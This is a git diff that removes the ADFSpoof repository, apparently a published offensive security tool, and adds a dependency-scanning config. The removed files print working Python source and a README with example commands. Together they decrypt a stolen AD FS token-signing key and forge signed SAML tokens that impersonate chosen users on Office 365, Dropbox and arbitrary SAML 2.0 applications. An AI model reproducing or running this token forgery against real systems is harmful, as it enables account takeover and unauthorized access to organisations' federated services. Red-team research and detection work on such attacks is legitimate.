diff --git a/.gitignore b/.gitignore
deleted file mode 100644
index 3b38700..0000000
--- a/.gitignore
+++ /dev/null
@@ -1,105 +0,0 @@
-# Byte-compiled / optimized / DLL files
-__pycache__/
-*.py[cod]
-*$py.class
-
-# C extensions
-*.so
-
-# Distribution / packaging
-.Python
-build/
-develop-eggs/
-dist/
-downloads/
-eggs/
-.eggs/
-lib/
-bin/
-lib64/
-parts/
-sdist/
-var/
-wheels/
-*.egg-info/
-.installed.cfg
-*.egg
-MANIFEST
-
-# PyInstaller
-# Usually these files are written by a python script from a template
-# before PyInstaller builds the exe, so as to inject date/other infos into it.
-*.manifest
-*.spec
-
-# Installer logs
-pip-log.txt
-pip-delete-this-directory.txt
-
-# Unit test / coverage reports
-htmlcov/
-.tox/
-.coverage
-.coverage.*
-.cache
-nosetests.xml
-coverage.xml
-*.cover
-.hypothesis/
-.pytest_cache/
-
-# Translations
-*.mo
-*.pot
-
-# Django stuff:
-*.log
-local_settings.py
-db.sqlite3
-
-# Flask stuff:
-instance/
-.webassets-cache
-
-# Scrapy stuff:
-.scrapy
-
-# Sphinx documentation
-docs/_build/
-
-# PyBuilder
-target/
-
-# Jupyter Notebook
-.ipynb_checkpoints
-
-# pyenv
-.python-version
-
-# celery beat schedule file
-celerybeat-schedule
-
-# SageMath parsed files
-*.sage.py
-
-# Environments
-.env
-.venv
-env/
-venv/
-ENV/
-env.bak/
-venv.bak/
-
-# Spyder project settings
-.spyderproject
-.spyproject
-
-# Rope project settings
-.ropeproject
-
-# mkdocs documentation
-/site
-
-# mypy
-.mypy_cache/
diff --git a/.whitesource b/.whitesource
new file mode 100644
index 0000000..9c7ae90
--- /dev/null
+++ b/.whitesource
@@ -0,0 +1,14 @@
+{
+ "scanSettings": {
+ "baseBranches": []
+ },
+ "checkRunSettings": {
+ "vulnerableCheckRunConclusionLevel": "failure",
+ "displayMode": "diff",
+ "useMendCheckNames": true
+ },
+ "issueSettings": {
+ "minSeverityLevel": "LOW",
+ "issueType": "DEPENDENCY"
+ }
+}
\ No newline at end of file
diff --git a/ADFSpoof.py b/ADFSpoof.py
deleted file mode 100644
index 4f43579..0000000
--- a/ADFSpoof.py
+++ /dev/null
@@ -1,189 +0,0 @@
-# POC for PFX
-from datetime import datetime, timedelta
-from argparse import ArgumentParser
-from utils import random_string, encode_object_guid, die, print_intro
-from EncryptedPfx import EncryptedPFX
-from SamlSigner import SAMLSigner
-from urllib import parse
-import sys
-import json
-import base64
-
-DEBUG = False
-
-
-def parse_args():
- arg_parser = ArgumentParser()
- key_group = arg_parser.add_mutually_exclusive_group(required=True)
- key_group.add_argument('-b', '--blob', help='Encrypted PFX blob and decryption key', nargs=2)
- key_group.add_argument('-c', '--cert', help='AD FS Signing Certificate')
- arg_parser.add_argument('-p', '--password', help='AD FS Signing Certificate Password', default=None)
- arg_parser.add_argument('-v', '--verbose', help='Verbose Output', default=False)
- arg_parser.add_argument('--assertionid', help='AssertionID string. Defaults to a random string', default=random_string())
- arg_parser.add_argument('--responseid', help='The Response ID. Defaults to random string', default=random_string())
- arg_parser.add_argument('-s', '--server', help='Identifier for the federation service. Usually the fqdn of the server. e.g. sts.example.com DO NOT include HTTPS://')
- arg_parser.add_argument('-a', '--algorithm', help='SAML signing algorithm to use', default='rsa-sha256')
- arg_parser.add_argument('-d', '--digest', help='SAML digest algorithm to use', default='sha256')
- arg_parser.add_argument('-o', '--output', help='Write generated token to the supplied filepath')
-
- subparsers = arg_parser.add_subparsers(
- title='modules',
- description='loaded modules',
- help='additional help',
- dest='command'
- )
-
- parser_office365 = subparsers.add_parser('o365')
- parser_office365.add_argument('--upn', help='Universal Principal Name of user to spoof', required=True)
- parser_office365.add_argument('--objectguid', help='Object GUID of user to spoof. You can get this from AD', required=True),
-
- parser_dropbox = subparsers.add_parser('dropbox')
- parser_dropbox.add_argument('--email', help='User email address', required=True)
- parser_dropbox.add_argument('--accountname', help='SAM Account Name', required=True)
-
- parser_generic_saml2 = subparsers.add_parser('saml2')
- parser_generic_saml2.add_argument('--endpoint', help='The destination/recipient attribute for SAML 2.0 token. Where the SAML token will be sent.', default=None)
- parser_generic_saml2.add_argument('--nameidformat', help='The format attribute for the NameIdentifier element', default=None)
- parser_generic_saml2.add_argument('--nameid', help='The NameIdentifier attribute value', default=None)
- parser_generic_saml2.add_argument('--rpidentifier', help='The Identifier for the Relying Party', default=None)
- parser_generic_saml2.add_argument('--assertions', help='The XML assertions for the SAML token', default=None)
- parser_generic_saml2.add_argument('--config', help='JSON file containing generic args', default=None)
-
- parser_dump = subparsers.add_parser('dump')
- parser_dump.add_argument('--path', help='Filepath where the signing token will be output.', default='token.pfx')
-
- args = arg_parser.parse_args()
- if args.verbose:
- global DEBUG
- DEBUG = True
-
- command = args.command
- if command != 'dump':
- if not args.server:
- sys.stderr.write("If generating a token you must supply the federation service identifier with --server.\n")
- die()
-
- elif command and command == 'saml2':
- saml_set = frozenset([args.endpoint, args.nameidformat, args.nameid, args.rpidentifier, args.assertions])
-
- if not args.config and any([arg is None for arg in saml_set]):
- sys.stderr.write("If not using a config file you must specify all the other SAML 2.0 args. Quitting.\n")
- die()
-
- return args
-
-
-def get_signer(args):
- if args.cert:
- password = bytes(args.password, 'utf-8')
- with open(args.cert, 'rb') as infile:
- pfx = infile.read()
- signer = SAMLSigner(pfx, args.command, password=password)
- else:
- pfx = EncryptedPFX(args.blob[0], args.blob[1])
- decrypted_pfx = pfx.decrypt_pfx()
- if args.command == 'dump':
- with open(args.path, 'wb') as pfx_file:
- pfx_file.write(decrypted_pfx)
- signer = None
- else:
- signer = SAMLSigner(decrypted_pfx, args.command)
-
- return signer
-
-
-def get_module_params(command):
- now = datetime.utcnow()
- hour = timedelta(hours=1)
- five_minutes = timedelta(minutes=5)
- second = timedelta(seconds=1)
- token_created = (now).strftime('%Y-%m-%dT%H:%M:%S.000Z')
- token_expires = (now + hour).strftime('%Y-%m-%dT%H:%M:%S.000Z')
- subject_confirmation_time = (now + five_minutes).strftime('%Y-%m-%dT%H:%M:%S.000Z')
- authn_instant = (now - second).strftime('%Y-%m-%dT%H:%M:%S.500Z')
-
- if command == 'o365':
- immutable_id = encode_object_guid(args.objectguid).decode('ascii')
-
- params = {
- 'TokenCreated': token_created,
- 'TokenExpires': token_expires,
- 'UPN': args.upn,
- 'NameIdentifier': immutable_id,
- 'AssertionID': args.assertionid,
- 'AdfsServer': args.server
- }
- name_identifier = "AssertionID"
-
- elif command == 'dropbox':
- params = {
- 'TokenCreated': token_created,
- 'TokenExpires': token_expires,
- 'EmailAddress': args.email,
- 'SamAccountName': args.accountname,
- 'AssertionID': args.assertionid,
- 'AdfsServer': args.server,
- 'SubjectConfirmationTime': subject_confirmation_time,
- 'ResponseID': args.responseid,
- 'AuthnInstant': authn_instant
- }
- name_identifier = "ID"
-
- elif command == 'saml2':
- params = {
- 'TokenCreated': token_created,
- 'TokenExpires': token_expires,
- 'AssertionID': args.assertionid,
- 'AdfsServer': args.server,
- 'SubjectConfirmationTime': subject_confirmation_time,
- 'ResponseID': args.responseid,
- 'AuthnInstant': authn_instant
- }
-
- if args.config:
- with open(args.config, 'r') as config_file:
- data = config_file.read()
- try:
- saml2_params = json.loads(data)
- except json.JSONDecodeError:
- sys.stderr.write("Could not parse JSON config file for SAML2 token creation. Quitting.\n")
- die()
- else:
- saml2_params = {
- 'SamlEndpoint': args.endpoint,
- 'NameIDFormat': args.nameidformat,
- 'NameID': args.nameid,
- 'RPIdentifier': args.rpidentifier,
- 'Assertions': args.assertions
- }
- params.update(saml2_params)
- name_identifier = "ID"
-
- return params, name_identifier
-
-
-def output_token(token, command):
- if command != 'o365':
- token = base64.b64encode(token)
- token = parse.quote(token)
-
- return token
-
-
-if __name__ == "__main__":
- print_intro()
-
- args = parse_args()
-
- signer = get_signer(args)
-
- if args.command != 'dump':
- params, id_attribute = get_module_params(args.command)
-
- token = signer.sign_XML(params, id_attribute, args.algorithm, args.digest)
-
- if args.output:
- with open(args.output, 'wb') as token_file:
- token_file.write(token)
- else:
- print(output_token(token, args.command))
diff --git a/EncryptedPfx.py b/EncryptedPfx.py
deleted file mode 100644
index 5bbb22d..0000000
--- a/EncryptedPfx.py
+++ /dev/null
@@ -1,171 +0,0 @@
-from cryptography.hazmat.backends import default_backend
-from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
-from cryptography.hazmat.primitives import hashes, hmac
-from microsoft_kbkdf import (
- CounterLocation, KBKDFHMAC, Mode,
-)
-from pyasn1.type.univ import ObjectIdentifier, OctetString
-from pyasn1.codec.der.decoder import decode as der_decode
-from pyasn1.codec.der.encoder import encode
-from utils import die, new_guid
-import sys
-import struct
-
-
-class EncryptedPFX():
- def __init__(self, blob_path, key_path, debug=False):
- self.pfx_path = blob_path
- self.DEBUG = debug
- with open(key_path, 'rb') as infile:
- self.decryption_key = infile.read()
- with open(self.pfx_path, 'rb') as infile:
- self._raw = infile.read()
- self.decode()
-
- def decrypt_pfx(self):
- self._derive_keys(self.decryption_key)
- self._verify_ciphertext()
-
- backend = default_backend()
- iv = self.iv.asOctets()
- cipher = Cipher(algorithms.AES(self.encryption_key), modes.CBC(iv), backend=backend)
- decryptor = cipher.decryptor()
- plain_pfx = decryptor.update(self.ciphertext) + decryptor.finalize()
-
- if self.DEBUG:
- sys.stderr.write("Decrypted PFX: {0}\n".format(plain_pfx))
- return plain_pfx
-
- def _verify_ciphertext(self):
- backend = default_backend()
- h = hmac.HMAC(self.mac_key, hashes.SHA256(), backend=backend)
- stream = self.iv.asOctets() + self.ciphertext
- h.update(stream)
- mac_code = h.finalize()
-
- if mac_code != self.mac:
- sys.stderr.write("Calculated MAC did not match anticipated MAC\n")
- sys.stderr.write("Calculated MAC: {0}\n".format(mac_code))
- sys.stderr.write("Expected MAC: {0}\n".format(self.mac))
- die()
- if self.DEBUG:
- sys.stderr.write("MAC Calculated over IV and Ciphertext: {0}\n".format(mac_code))
-
- def _derive_keys(self, password=None):
- label = encode(self.encryption_oid) + encode(self.mac_oid)
- context = self.nonce.asOctets()
- backend = default_backend()
-
- kdf = KBKDFHMAC(
- algorithm=hashes.SHA256(),
- mode=Mode.CounterMode,
- length=48,
- rlen=4,
- llen=4,
- location=CounterLocation.BeforeFixed,
- label=label,
- context=context,
- fixed=None,
- backend=backend
- )
-
- key = kdf.derive(password)
- if self.DEBUG:
- sys.stderr.write("Derived key: {0}\n".format(key))
-
- self.encryption_key = key[0:16]
- self.mac_key = key[16:]
-
- def _decode_octet_string(self, remains=None):
- if remains:
- buff = remains
- else:
- buff = self._raw[8:]
- octet_string, remains = der_decode(buff, OctetString())
-
- return octet_string, remains
-
- def _decode_length(self, buff):
- bytes_read = 1
- length_initial = buff[0]
- if length_initial < 127:
- length = length_initial
-
- else:
- length_initial &= 127
- input_arr = []
- for x in range(0, length_initial):
- input_arr.append(buff[x + 1])
- bytes_read += 1
- length = input_arr[0]
- for x in range(1, length_initial):
- length = input_arr[x] + (length << 8)
-
- if self.DEBUG:
- sys.stderr.write("Decoded length: {0}\n".format(length))
- return length, buff[bytes_read:]
-
- def _decode_groupkey(self):
- octet_stream, remains = self._decode_octet_string()
-
- guid = new_guid(octet_stream)
-
- if self.DEBUG:
- sys.stderr.write("Decoded GroupKey GUID {0}\n".format(guid))
- return guid, remains
-
- def _decode_authencrypt(self, buff):
- _, remains = der_decode(buff, ObjectIdentifier())
- mac_oid, remains = der_decode(remains, ObjectIdentifier())
- encryption_oid, remains = der_decode(remains, ObjectIdentifier())
-
- if self.DEBUG:
- sys.stderr.write("Decoded Algorithm OIDS\n Encryption Algorithm OID: {0}\n MAC Algorithm OID: {1}\n".format(encryption_oid, mac_oid))
- return encryption_oid, mac_oid, remains
-
- def decode(self):
- version = struct.unpack('>I', self._raw[0:4])[0]
-
- if version != 1:
- sys.stderr.write("Version should be 1 .\n")
- die()
-
- method = struct.unpack('>I', self._raw[4:8])[0]
-
- if method != 0:
- sys.stderr.write("Not using EncryptThenMAC. Currently only EncryptThenMAC is supported.")
- die()
-
- self.guid, remains = self._decode_groupkey()
-
- self.encryption_oid, self.mac_oid, remains = self._decode_authencrypt(remains)
-
- self.nonce, remains = self._decode_octet_string(remains)
-
- if self.DEBUG:
- sys.stderr.write("Decoded nonce: {0}\n".format(self.nonce.asOctets()))
-
- self.iv, remains = self._decode_octet_string(remains)
-
- if self.DEBUG:
- sys.stderr.write("Decoded IV: {0}\n".format(self.iv.asOctets()))
-
- self.mac_length, remains = self._decode_length(remains)
-
- if self.DEBUG:
- sys.stderr.write("Decoded MAC length: {0}\n".format(self.mac_length))
-
- self.ciphertext_length, remains = self._decode_length(remains)
-
- if self.DEBUG:
- sys.stderr.write("Decoded Ciphertext length: {0}\n".format(self.ciphertext_length))
-
- self.ciphertext = remains[:self.ciphertext_length - self.mac_length]
-
- if self.DEBUG:
- sys.stderr.write("Decoded Ciphertext: {0}\n".format(self.ciphertext))
-
- self.mac = remains[self.ciphertext_length - self.mac_length:]
-
- if self.DEBUG:
- sys.stderr.write("Decoded MAC: {0}\n".format(self.mac))
diff --git a/LICENSE b/LICENSE
deleted file mode 100644
index 261eeb9..0000000
--- a/LICENSE
+++ /dev/null
@@ -1,201 +0,0 @@
- Apache License
- Version 2.0, January 2004
- http://www.apache.org/licenses/
-
- TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
- 1. Definitions.
-
- "License" shall mean the terms and conditions for use, reproduction,
- and distribution as defined by Sections 1 through 9 of this document.
-
- "Licensor" shall mean the copyright owner or entity authorized by
- the copyright owner that is granting the License.
-
- "Legal Entity" shall mean the union of the acting entity and all
- other entities that control, are controlled by, or are under common
- control with that entity. For the purposes of this definition,
- "control" means (i) the power, direct or indirect, to cause the
- direction or management of such entity, whether by contract or
- otherwise, or (ii) ownership of fifty percent (50%) or more of the
- outstanding shares, or (iii) beneficial ownership of such entity.
-
- "You" (or "Your") shall mean an individual or Legal Entity
- exercising permissions granted by this License.
-
- "Source" form shall mean the preferred form for making modifications,
- including but not limited to software source code, documentation
- source, and configuration files.
-
- "Object" form shall mean any form resulting from mechanical
- transformation or translation of a Source form, including but
- not limited to compiled object code, generated documentation,
- and conversions to other media types.
-
- "Work" shall mean the work of authorship, whether in Source or
- Object form, made available under the License, as indicated by a
- copyright notice that is included in or attached to the work
- (an example is provided in the Appendix below).
-
- "Derivative Works" shall mean any work, whether in Source or Object
- form, that is based on (or derived from) the Work and for which the
- editorial revisions, annotations, elaborations, or other modifications
- represent, as a whole, an original work of authorship. For the purposes
- of this License, Derivative Works shall not include works that remain
- separable from, or merely link (or bind by name) to the interfaces of,
- the Work and Derivative Works thereof.
-
- "Contribution" shall mean any work of authorship, including
- the original version of the Work and any modifications or additions
- to that Work or Derivative Works thereof, that is intentionally
- submitted to Licensor for inclusion in the Work by the copyright owner
- or by an individual or Legal Entity authorized to submit on behalf of
- the copyright owner. For the purposes of this definition, "submitted"
- means any form of electronic, verbal, or written communication sent
- to the Licensor or its representatives, including but not limited to
- communication on electronic mailing lists, source code control systems,
- and issue tracking systems that are managed by, or on behalf of, the
- Licensor for the purpose of discussing and improving the Work, but
- excluding communication that is conspicuously marked or otherwise
- designated in writing by the copyright owner as "Not a Contribution."
-
- "Contributor" shall mean Licensor and any individual or Legal Entity
- on behalf of whom a Contribution has been received by Licensor and
- subsequently incorporated within the Work.
-
- 2. Grant of Copyright License. Subject to the terms and conditions of
- this License, each Contributor hereby grants to You a perpetual,
- worldwide, non-exclusive, no-charge, royalty-free, irrevocable
- copyright license to reproduce, prepare Derivative Works of,
- publicly display, publicly perform, sublicense, and distribute the
- Work and such Derivative Works in Source or Object form.
-
- 3. Grant of Patent License. Subject to the terms and conditions of
- this License, each Contributor hereby grants to You a perpetual,
- worldwide, non-exclusive, no-charge, royalty-free, irrevocable
- (except as stated in this section) patent license to make, have made,
- use, offer to sell, sell, import, and otherwise transfer the Work,
- where such license applies only to those patent claims licensable
- by such Contributor that are necessarily infringed by their
- Contribution(s) alone or by combination of their Contribution(s)
- with the Work to which such Contribution(s) was submitted. If You
- institute patent litigation against any entity (including a
- cross-claim or counterclaim in a lawsuit) alleging that the Work
- or a Contribution incorporated within the Work constitutes direct
- or contributory patent infringement, then any patent licenses
- granted to You under this License for that Work shall terminate
- as of the date such litigation is filed.
-
- 4. Redistribution. You may reproduce and distribute copies of the
- Work or Derivative Works thereof in any medium, with or without
- modifications, and in Source or Object form, provided that You
- meet the following conditions:
-
- (a) You must give any other recipients of the Work or
- Derivative Works a copy of this License; and
-
- (b) You must cause any modified files to carry prominent notices
- stating that You changed the files; and
-
- (c) You must retain, in the Source form of any Derivative Works
- that You distribute, all copyright, patent, trademark, and
- attribution notices from the Source form of the Work,
- excluding those notices that do not pertain to any part of
- the Derivative Works; and
-
- (d) If the Work includes a "NOTICE" text file as part of its
- distribution, then any Derivative Works that You distribute must
- include a readable copy of the attribution notices contained
- within such NOTICE file, excluding those notices that do not
- pertain to any part of the Derivative Works, in at least one
- of the following places: within a NOTICE text file distributed
- as part of the Derivative Works; within the Source form or
- documentation, if provided along with the Derivative Works; or,
- within a display generated by the Derivative Works, if and
- wherever such third-party notices normally appear. The contents
- of the NOTICE file are for informational purposes only and
- do not modify the License. You may add Your own attribution
- notices within Derivative Works that You distribute, alongside
- or as an addendum to the NOTICE text from the Work, provided
- that such additional attribution notices cannot be construed
- as modifying the License.
-
- You may add Your own copyright statement to Your modifications and
- may provide additional or different license terms and conditions
- for use, reproduction, or distribution of Your modifications, or
- for any such Derivative Works as a whole, provided Your use,
- reproduction, and distribution of the Work otherwise complies with
- the conditions stated in this License.
-
- 5. Submission of Contributions. Unless You explicitly state otherwise,
- any Contribution intentionally submitted for inclusion in the Work
- by You to the Licensor shall be under the terms and conditions of
- this License, without any additional terms or conditions.
- Notwithstanding the above, nothing herein shall supersede or modify
- the terms of any separate license agreement you may have executed
- with Licensor regarding such Contributions.
-
- 6. Trademarks. This License does not grant permission to use the trade
- names, trademarks, service marks, or product names of the Licensor,
- except as required for reasonable and customary use in describing the
- origin of the Work and reproducing the content of the NOTICE file.
-
- 7. Disclaimer of Warranty. Unless required by applicable law or
- agreed to in writing, Licensor provides the Work (and each
- Contributor provides its Contributions) on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
- implied, including, without limitation, any warranties or conditions
- of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
- PARTICULAR PURPOSE. You are solely responsible for determining the
- appropriateness of using or redistributing the Work and assume any
- risks associated with Your exercise of permissions under this License.
-
- 8. Limitation of Liability. In no event and under no legal theory,
- whether in tort (including negligence), contract, or otherwise,
- unless required by applicable law (such as deliberate and grossly
- negligent acts) or agreed to in writing, shall any Contributor be
- liable to You for damages, including any direct, indirect, special,
- incidental, or consequential damages of any character arising as a
- result of this License or out of the use or inability to use the
- Work (including but not limited to damages for loss of goodwill,
- work stoppage, computer failure or malfunction, or any and all
- other commercial damages or losses), even if such Contributor
- has been advised of the possibility of such damages.
-
- 9. Accepting Warranty or Additional Liability. While redistributing
- the Work or Derivative Works thereof, You may choose to offer,
- and charge a fee for, acceptance of support, warranty, indemnity,
- or other liability obligations and/or rights consistent with this
- License. However, in accepting such obligations, You may act only
- on Your own behalf and on Your sole responsibility, not on behalf
- of any other Contributor, and only if You agree to indemnify,
- defend, and hold each Contributor harmless for any liability
- incurred by, or claims asserted against, such Contributor by reason
- of your accepting any such warranty or additional liability.
-
- END OF TERMS AND CONDITIONS
-
- APPENDIX: How to apply the Apache License to your work.
-
- To apply the Apache License to your work, attach the following
- boilerplate notice, with the fields enclosed by brackets "[]"
- replaced with your own identifying information. (Don't include
- the brackets!) The text should be enclosed in the appropriate
- comment syntax for the file format. We also recommend that a
- file or class name and description of purpose be included on the
- same "printed page" as the copyright notice for easier
- identification within third-party archives.
-
- Copyright [yyyy] [name of copyright owner]
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
diff --git a/README.md b/README.md
deleted file mode 100644
index aa03754..0000000
--- a/README.md
+++ /dev/null
@@ -1,139 +0,0 @@
-# ADFSpoof
-
-A python tool to forge AD FS security tokens.
-
-Created by Doug Bienstock [(@doughsec)](https://twitter.com/doughsec) while at Mandiant FireEye.
-
-## Detailed Description
-
-ADFSpoof has two main functions:
-1. Given the EncryptedPFX blob from the AD FS configuration database and DKM decryption key from Active Directory, produce a usable key/cert pair for token signing.
-2. Given a signing key, produce a signed security token that can be used to access a federated application.
-
-This tool is meant to be used in conjunction with ADFSDump. ADFSDump runs on an AD FS server and outputs important information that you will need to use ADFSpoof.
-
-If you are confused by the above, you might want to read up on AD FS first. For more information on AD FS spoofing I will post a link to my TROOPERS 19 talk and slides when they are released.
-
-## Installation
-
-ADFSpoof is written in Python 3.
-
-~~ADFSpoof requires the installation of a custom fork of the Python Cryptography package, available [here](https://github.com/dmb2168/cryptography). Microsoft did not exactly follow the RFC for Key Deriviation :wink:, so a fork of the package was needed.~~ The modified key derivation function has been ported to work with the newer versions of cryptography lib.
-
-All requirements are captured in the repo's requirements.txt.
-
-`pip install -r requirements.txt`
-
-## Usage
-
-```
-usage: ADFSpoof.py [-h] (-b BLOB BLOB | -c CERT) [-p PASSWORD] [-v VERBOSE]
- [--assertionid ASSERTIONID] [--responseid RESPONSEID]
- [-s SERVER] [-a ALGORITHM] [-d DIGEST] [-o OUTPUT]
- {o365,dropbox,saml2,dump} ...
-
-optional arguments:
- -h, --help show this help message and exit
- -b BLOB BLOB, --blob BLOB BLOB
- Encrypted PFX blob and decryption key
- -c CERT, --cert CERT AD FS Signing Certificate
- -p PASSWORD, --password PASSWORD
- AD FS Signing Certificate Password
- -v VERBOSE, --verbose VERBOSE
- Verbose Output
- --assertionid ASSERTIONID
- AssertionID string. Defaults to a random string
- --responseid RESPONSEID
- The Response ID. Defaults to random string
- -s SERVER, --server SERVER
- Identifier for the federation service. Usually the
- fqdn of the server. e.g. sts.example.com DO NOT
- include HTTPS://
- -a ALGORITHM, --algorithm ALGORITHM
- SAML signing algorithm to use
- -d DIGEST, --digest DIGEST
- SAML digest algorithm to use
- -o OUTPUT, --output OUTPUT
- Write generated token to the supplied filepath
-
-modules:
- loaded modules
-
- {o365,dropbox,saml2,dump}
- additional help
-```
-### Cryptographic Material
-
-All ADFSpoof functionality requires cryptographic material for the AD FS signing key. This can be supplied in one of two ways:
-
-* `-b BLOB BLOB`: Supply the EncryptedPFX binary blob (base64 decode what is pulled out of the configuration database) and the DKM key from Active directory. Order matters!
-* `-c CERT`: Provide a PKCS12-formatted file for the signing key and certificate. If it is password protected supply a password with `-p`. The overall file password and private key password must be the same.
-
-
-### Global Options
-
-* `-s SERVER`: The AD FS service identifier. Required when using any module that generates a security token. This goes into the security token to let the federated application know who generated it.
-* `-o FILEPATH`: Outputs the generated token to disk instead of printing it.
-* `--assertionid` and `--responseid`: If you wish to supply custom attribute values for SAML AssertionID and ResponseID. Defaults to random strings.
-* `-d DIGEST`: Set the MAC digest algorithm. Defaults to SHA256.
-* `-a ALGORITHM`: Set the signature algorithm. Defaults to RSA-SHA256.
-
-
-### Command Modules
-
-ADFSpoof is built modularly with easy expansion in mind. Currently, it comes preloaded with four command modules that support different functionality.
-
-Each module encapsulates the SAML attributes and values necessary to generate a valid security token for a specific token type or federated application. *Note that for the applications specific modules, the template represents the generic installation. Customization may be required for organizations that have messed with the defaults.*
-
-#### o365
-
-Generates a forged security token to access Microsoft Office 365. This is a SAML 1.1 token.
-
-* `--upn UPN`: The universal principal name of the user to generate a token for. Get this from AD.
-* `--objectguid`: The Object GUID of the user to generate a token for. Get this from AD. Include the curly braces.
-
-#### Dropbox
-
-Generats a forged security token to access Dropbox. This is a SAML 2.0 token.
-
-* `--email EMAIL`: The email address of the user to generate a token for.
-* `--accountname ACCOUNT`: The SamAccountName of the user to generate a token for.
-
-#### SAML2
-
-A command that encapsulates generating a generic SAML 2.0 security token. Use this module to generate security tokens for arbitrary federated applications that are using SAML 2.0. By reading the data returned by ADFSDump you should be able to generate a valid token for just about any federated application using this module.
-
-* `--endpoint ENDPOINT`: The recipient of the seucrity token. This should be a full URL.
-* `--nameidformat URN`: The value for the 'Format' attribute of the NameIdentifier tag. This should be a URN.
-* `--nameid NAMEID`: The NameIdentifier attribute value.
-* `--rpidentifier IDENTIFIER`: The Identifier of the relying party that is receiving the token.
-* `--assertions ASSERTIONS`: The assertions that the relying party is expecting. Use the claim rules output by ADFSDump to ascertain this. Should be a single-line (do not include newlines) XML string.
-* `--config FILEPATH`: A filepath to a JSON file containing the above arguments. Optional - use this if you don't want to supply everything over the command line.
-
-#### Dump
-
-Helper command that will take the supplied EncryptedPFX blob and DKM key from `-b`, decrypt the blob, and output the PFX file to disk. Use this to save the PFX for later.
-
-`--path PATH`: The filepath to save the generated PFX.
-
-### Examples
-
-#### Decrypt the EncryptedPFX and write to disk
-`python ADFSpoof.py -b EncryptedPfx.bin DKMkey.bin dump`
-
-#### Generate a security token for Office365
-
-`python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s sts.doughcorp.com o365 --upn robin@doughcorp.co --objectguid {1C1D4BA4-B513-XXX-XXX-3308B907D759}`
-
-#### Generate a SAML 2.0 token for some app
-
-`python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s sts.doughcorp.com saml2 --endpoint https://my.app.com/access/saml --nameidformat urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress --nameid robin@doughcorp.com --rpidentifier myapp --assertions robin@doughcorp.com`
-
-### Reading Issuance Authorization Rules
-
-More coming soon! As a tl;dr for SAML 2.0 each issuance rule (with the exception of the nameid rule) is going to be translated into a SAML assertion. SAML assertions are tags. The Attribute tag must have an attribute called "Name" that value of which is the claim type. The claim value goes inside the tags.
-
- There is a little more nuance which I hope to discuss in a wiki page soon, but that is the basic idea. Relying Parties may have "StrongAuth" rules and MFA requirements, but usually we don't care about those.
-
-
-
diff --git a/SamlSigner.py b/SamlSigner.py
deleted file mode 100644
index 2b50237..0000000
--- a/SamlSigner.py
+++ /dev/null
@@ -1,26 +0,0 @@
-from cryptography.hazmat.primitives.serialization import pkcs12
-import string
-from lxml import etree
-from signxml import XMLSigner
-from cryptography.hazmat.backends import default_backend
-import re
-
-
-class SAMLSigner():
- def __init__(self, data, template=None, password=None):
- self.key, self.cert = self.load_pkcs12(data, password)
- with open("templates/{0}.xml".format(template), 'r') as infile:
- self.saml_template = infile.read()
-
- def load_pkcs12(self, data, password):
- cert = pkcs12.load_key_and_certificates(data, password, default_backend())
- return cert[0], cert[1]
-
- def sign_XML(self, params, id_attribute, algorithm, digest):
- saml_string = string.Template(self.saml_template).substitute(params)
- data = etree.fromstring(saml_string)
-
- signed_xml = XMLSigner(c14n_algorithm="http://www.w3.org/2001/10/xml-exc-c14n#", signature_algorithm=algorithm, digest_algorithm=digest).sign(data, key=self.key, cert=[self.cert], reference_uri=params.get('AssertionID'), id_attribute=id_attribute)
- signed_saml_string = etree.tostring(signed_xml).replace(b'\n', b'')
- signed_saml_string = re.sub(b'-----(BEGIN|END) CERTIFICATE-----', b'', signed_saml_string)
- return signed_saml_string
diff --git a/microsoft_kbkdf.py b/microsoft_kbkdf.py
deleted file mode 100644
index d320cbc..0000000
--- a/microsoft_kbkdf.py
+++ /dev/null
@@ -1,138 +0,0 @@
-# This file is dual licensed under the terms of the Apache License, Version
-# 2.0, and the BSD License. See the LICENSE file in the root of this repository
-# for complete details.
-
-from __future__ import absolute_import, division, print_function
-
-from enum import Enum
-
-from six.moves import range
-
-from cryptography import utils
-from cryptography.exceptions import (
- AlreadyFinalized, InvalidKey, UnsupportedAlgorithm, _Reasons
-)
-from cryptography.hazmat.primitives import constant_time, hashes, hmac
-from cryptography.hazmat.primitives.kdf import KeyDerivationFunction
-
-
-class Mode(Enum):
- CounterMode = "ctr"
-
-
-class CounterLocation(Enum):
- BeforeFixed = "before_fixed"
- AfterFixed = "after_fixed"
-
-
-@utils.register_interface(KeyDerivationFunction)
-class KBKDFHMAC(object):
- def __init__(self, algorithm, mode, length, rlen, llen,
- location, label, context, fixed, backend):
- if not isinstance(algorithm, hashes.HashAlgorithm):
- raise UnsupportedAlgorithm(
- "Algorithm supplied is not a supported hash algorithm.",
- _Reasons.UNSUPPORTED_HASH
- )
-
- if not backend.hmac_supported(algorithm):
- raise UnsupportedAlgorithm(
- "Algorithm supplied is not a supported hmac algorithm.",
- _Reasons.UNSUPPORTED_HASH
- )
-
- if not isinstance(mode, Mode):
- raise TypeError("mode must be of type Mode")
-
- if not isinstance(location, CounterLocation):
- raise TypeError("location must be of type CounterLocation")
-
- if (label or context) and fixed:
- raise ValueError("When supplying fixed data, "
- "label and context are ignored.")
-
- if rlen is None or not self._valid_byte_length(rlen):
- raise ValueError("rlen must be between 1 and 4")
-
- if llen is None and fixed is None:
- raise ValueError("Please specify an llen")
-
- if llen is not None and not isinstance(llen, int):
- raise TypeError("llen must be an integer")
-
- if label is None:
- label = b''
-
- if context is None:
- context = b''
-
- utils._check_bytes("label", label)
- utils._check_bytes("context", context)
- self._algorithm = algorithm
- self._mode = mode
- self._length = length
- self._rlen = rlen
- self._llen = llen
- self._location = location
- self._label = label
- self._context = context
- self._backend = backend
- self._used = False
- self._fixed_data = fixed
-
- def _valid_byte_length(self, value):
- if not isinstance(value, int):
- raise TypeError('value must be of type int')
-
